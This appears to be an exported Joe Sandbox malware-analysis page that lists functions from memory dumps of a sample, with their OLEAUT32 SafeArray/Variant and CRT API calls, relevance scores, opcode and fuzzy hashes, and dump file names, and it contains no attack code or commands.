Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$ElementInit$CreateDestroyVector
String ID:
API String ID: 551789342-0
Opcode ID: c798138a7869a7e6bd7da299a3f25f854796b86ca1cb6f4ecbaaf9e5fa13c16e
Instruction ID: 59dc8b399b126138bf094fee1e73fe770c1159aa20ff3d54246e997ff5f73c66
Opcode Fuzzy Hash: c798138a7869a7e6bd7da299a3f25f854796b86ca1cb6f4ecbaaf9e5fa13c16e
Instruction Fuzzy Hash: 1E517A766082069FC701DF64C844B9BBBF9EF89714F15861AF954DB250DB30E909CBA2

Function 6CF7840E Relevance: 13.8, APIs: 9, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF784BF
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF784D2
SafeArrayGetElement.OLEAUT32 ref: 6CF7850A

Part of subcall function 6CF73A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF73B71
Part of subcall function 6CF73A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF73B83

Part of subcall function 6CF769C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF76A08
Part of subcall function 6CF769C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF76A15
Part of subcall function 6CF769C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF76A41

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Part of subcall function 6CF6DFB0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF6DFF6
Part of subcall function 6CF6DFB0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF6E003
Part of subcall function 6CF6DFB0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF6E02F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID:
API String ID: 959723449-0
Opcode ID: 39bbdbbab3ac90d1d3d4e3e6a63f8884fbde095131b74e729cb6b5ddcee34479
Instruction ID: d4fcb1733ba359da6032beecf854e75071a6cf932bb29b755971277c17718e05
Opcode Fuzzy Hash: 39bbdbbab3ac90d1d3d4e3e6a63f8884fbde095131b74e729cb6b5ddcee34479
Instruction Fuzzy Hash: BCC19170A012049FDB24CF69DC94FADB7B9AF45308F20859AE519EB786C771ED44CB60

Function 6CF74170 Relevance: 13.8, APIs: 9, Instructions: 277COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF741AF
VariantInit.OLEAUT32(?), ref: 6CF741B5
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF741C0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF741F5
VariantClear.OLEAUT32(?), ref: 6CF74201
std::tr1::_Xweak.LIBCPMT ref: 6CF74450
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7446D
VariantClear.OLEAUT32(?), ref: 6CF7447D
VariantClear.OLEAUT32(?), ref: 6CF74483

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 53774acc9b80aa52cc32bc91ec1b2ab88988c479b55e9373a1568eb146b8a722
Instruction ID: 36cdf00914c0c895af7c9333d952e518b05fc07510bf2011e412d17927f01638
Opcode Fuzzy Hash: 53774acc9b80aa52cc32bc91ec1b2ab88988c479b55e9373a1568eb146b8a722
Instruction Fuzzy Hash: 89B13A756006099FCB24DF99C884EEAB7F5BF8D310F15856DE50AABB90DA34F841CB60

Function 6CF7C530 Relevance: 13.8, APIs: 9, Instructions: 259COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF7C56F
VariantInit.OLEAUT32(?), ref: 6CF7C575
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7C580
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7C5B5
VariantClear.OLEAUT32(?), ref: 6CF7C5C1
std::tr1::_Xweak.LIBCPMT ref: 6CF7C7D4
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7C7F1
VariantClear.OLEAUT32(?), ref: 6CF7C801
VariantClear.OLEAUT32(?), ref: 6CF7C807

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 6774862f343270b2dee28c13bfcfbfe42b381c429eaebc39aaea6f0aa94ea4ae
Instruction ID: a5f30365130736ece7e6723eab49ba8665a4b8ca3b50bd83899626c64a26dd15
Opcode Fuzzy Hash: 6774862f343270b2dee28c13bfcfbfe42b381c429eaebc39aaea6f0aa94ea4ae
Instruction Fuzzy Hash: 2FA13975A006099FCB24DFA9C884EAAB7F5BF8D310F15856DE506ABB50DB34F841CB60

Function 6CF76880 Relevance: 13.6, APIs: 9, Instructions: 117COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF768B2
VariantInit.OLEAUT32(?), ref: 6CF768BD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF768D7
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF768FD
VariantClear.OLEAUT32(?), ref: 6CF76909
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF76923
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF76981
VariantClear.OLEAUT32(?), ref: 6CF7699E
VariantClear.OLEAUT32(?), ref: 6CF769A4

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArraySafe$Clear$ElementInit$CreateDestroyVector
String ID:
API String ID: 3529038988-0
Opcode ID: 9f502c77e2b9a67b1e0a68de241a72b6d7a658f9f8f3848b861e99ba50252de7
Instruction ID: 646b075ebcdbbeea14eaec7ffaf0e03edc5fd35ef09d15084eb34ab9cee27f7c
Opcode Fuzzy Hash: 9f502c77e2b9a67b1e0a68de241a72b6d7a658f9f8f3848b861e99ba50252de7
Instruction Fuzzy Hash: FD416EB2E00219AFDB01DFA5C844AEFBBB8FF99314F15411AE905E7340E775A905CBA1

Function 6CF6C020 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF6C074
VariantInit.OLEAUT32(?), ref: 6CF6C07B
VariantInit.OLEAUT32(?), ref: 6CF6C082
VariantInit.OLEAUT32(?), ref: 6CF6C089
VariantClear.OLEAUT32(?), ref: 6CF6C312
VariantClear.OLEAUT32(?), ref: 6CF6C319
VariantClear.OLEAUT32(?), ref: 6CF6C320
VariantClear.OLEAUT32(?), ref: 6CF6C327

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: caf92560943126ce6012a1854edb3f92b45e59d28de2edf77ffcd2712345663e
Instruction ID: cc92bff15dade87f5935f3e70514a73f2e37bae7e31be13e57774843aa6f96a0
Opcode Fuzzy Hash: caf92560943126ce6012a1854edb3f92b45e59d28de2edf77ffcd2712345663e
Instruction Fuzzy Hash: 73C136716087019FC700EF69C88095BB7E5FFC9308F258A4DE99897B65D731E845CB92

Function 6CF76B10 Relevance: 9.4, APIs: 6, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6CF76C8B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6CF76CA6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6CF76CC7

Part of subcall function 6CF75760: std::tr1::_Xweak.LIBCPMT ref: 6CF75769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6CF76CF9

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF76F13
InterlockedCompareExchange.KERNEL32(6CFFC6A4,45524548,4B4F4F4C), ref: 6CF76F34

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID:
API String ID: 2722669376-0
Opcode ID: 2378b2385d8c90e89118058ab8bb460f2e1196416d2ffcf27e654df2c08ebdec
Instruction ID: eb5d76b7eadb945736c2cb5f6891d9e7511776c48a950e2adc25a3cf167245a9
Opcode Fuzzy Hash: 2378b2385d8c90e89118058ab8bb460f2e1196416d2ffcf27e654df2c08ebdec
Instruction Fuzzy Hash: 3FD1BEB1A102099FDB20CFA4D884BEE77B8EF44308F14846AE515EBB81D775E9048BA1

Function 6CF616B0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 487COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::tr1::_Xweak.LIBCPMT ref: 6CF61B53
std::_Xinvalid_argument.LIBCPMT ref: 6CF61B5D
std::exception::exception.LIBCMT ref: 6CF61C43
__CxxThrowException@8.LIBCMT ref: 6CF61C58

Strings

invalid vector<T> subscript, xrefs: 6CF61B58

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentXweak_mallocstd::_std::exception::exceptionstd::tr1::_
String ID: invalid vector<T> subscript
API String ID: 3098024973-3016609489
Opcode ID: c6cddee488e433679a30acbb441896de2d7bd84b3a54f555a5944b05370957b2
Instruction ID: 7a5094ac0c45eb8f0ea8cd3f9db3d62500214a27e8823ae16b398414d4b332a2
Opcode Fuzzy Hash: c6cddee488e433679a30acbb441896de2d7bd84b3a54f555a5944b05370957b2
Instruction Fuzzy Hash: C4222B75C007099FCB14CFA5C4809EEBBF5BF44314F158A6DD45AABB50E774AA88CB90

Function 03392B8F Relevance: 7.8, Strings: 6, Instructions: 333COMMON

Download Yara Rule

Strings

,bq, xrefs: 03392CB8
d8cq, xrefs: 03393050
(o^q, xrefs: 03392CF2
,bq, xrefs: 03392CC4
Hbq, xrefs: 03392F61
(o^q, xrefs: 03392CE6

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq$d8cq
API String ID: 0-1626189073
Opcode ID: 22cf6bd00c00efb64f1cc15fc8e84b3138c34fb4e726d5ba89acc59df56d57ae
Instruction ID: 1922bdfa803ab5add667e451b33323c84b3a772324e54b16942ef5d533f2a73f
Opcode Fuzzy Hash: 22cf6bd00c00efb64f1cc15fc8e84b3138c34fb4e726d5ba89acc59df56d57ae
Instruction Fuzzy Hash: 21C14E34B00518DFDB14EF68D994AAE7BBABF88714F14846AE405DB3A5CB35DC41CB90

Function 6CF6DB30 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6CF731EC), ref: 6CF6DB5E
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF6DB6E
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF6DB82
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF6DBF1
VariantClear.OLEAUT32(?), ref: 6CF6DBFB

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Variant$ClearCreateDestroyElementInitVector
String ID:
API String ID: 182531043-0
Opcode ID: a6c78b17248af4dd2a714d1d3d78b9b7e55521bb81924cc9615a9381a486a78d
Instruction ID: 686d78cd5f26a7f91159112a9261267adb367545b572c47b8ea840117923f036
Opcode Fuzzy Hash: a6c78b17248af4dd2a714d1d3d78b9b7e55521bb81924cc9615a9381a486a78d
Instruction Fuzzy Hash: D731B476A00205AFD701DF65C848EEEBBF8FF8A710F15815AE911A7740D734A801CBA0

Function 6CFBA42D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__CRT_INIT@12.LIBCMT ref: 6CFBA463
__CRT_INIT@12.LIBCMT ref: 6CFBA493
__CRT_INIT@12.LIBCMT ref: 6CFBA4B3

Strings

a0, xrefs: 6CFBA4FF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: T@12
String ID: a0
API String ID: 456891419-3188653782
Opcode ID: 2d91f40ad9ae8956ff74fac67e559b963bbfaaae65b480aea99b2d1c15df3f98
Instruction ID: 0794f1d07f807970f64e237a7f67c81f5aa5a5893fef189b80b118ee7459203e
Opcode Fuzzy Hash: 2d91f40ad9ae8956ff74fac67e559b963bbfaaae65b480aea99b2d1c15df3f98
Instruction Fuzzy Hash: 27112770D11252EADB309A778C4CFAFFAFC9B82758F109415A425F6990E734C945CAA0

Function 6CFB9BB5 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6CFB9BCF

Part of subcall function 6CFB9D66: __FF_MSGBANNER.LIBCMT ref: 6CFB9D7F
Part of subcall function 6CFB9D66: __NMSG_WRITE.LIBCMT ref: 6CFB9D86
Part of subcall function 6CFB9D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6CFB9BD4,6CF51290,CA0C7769), ref: 6CFB9DAB

std::exception::exception.LIBCMT ref: 6CFB9C04
std::exception::exception.LIBCMT ref: 6CFB9C1E
__CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 5d2849343338a5a55ff144c3b38db7c4019dc5eba39b34ddb67998c5d7091060
Instruction ID: 5d97a3dc432019d8ffe37832b99d68e59ad122b130830de5e5a76b0d95965ddd
Opcode Fuzzy Hash: 5d2849343338a5a55ff144c3b38db7c4019dc5eba39b34ddb67998c5d7091060
Instruction Fuzzy Hash: A1F0FF7291010AAADF14EB66DC01BEE7AFCEF22718F240818E420B2E90CF71DB088650

Function 6CF66C60 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 6CF66C73
SafeArrayAccessData.OLEAUT32(00000000,6CF66C3C), ref: 6CF66C87
_memmove.LIBCMT ref: 6CF66C9A
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6CF66CA3

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector_memmove
String ID:
API String ID: 3147195435-0
Opcode ID: 350e8fe741dbd40e85f6b1de97dd46c5518fe7c652dc825a75cf10352b3aa199
Instruction ID: 6ee0191e96c430b51ed5c0ce1d559ee74b2e1baba666e9dcd8e54bef0b497fa0
Opcode Fuzzy Hash: 350e8fe741dbd40e85f6b1de97dd46c5518fe7c652dc825a75cf10352b3aa199
Instruction Fuzzy Hash: 70F05E75315214BBEB116F62DC89F973FACEFC6765F018015FA188A240E770E5009BB1

Function 6CF81FD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF82206
__CxxThrowException@8.LIBCMT ref: 6CF82221

Part of subcall function 6CF86480: __CxxThrowException@8.LIBCMT ref: 6CF86518
Part of subcall function 6CF86480: __CxxThrowException@8.LIBCMT ref: 6CF86558

Strings

ILProtector, xrefs: 6CF82045

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
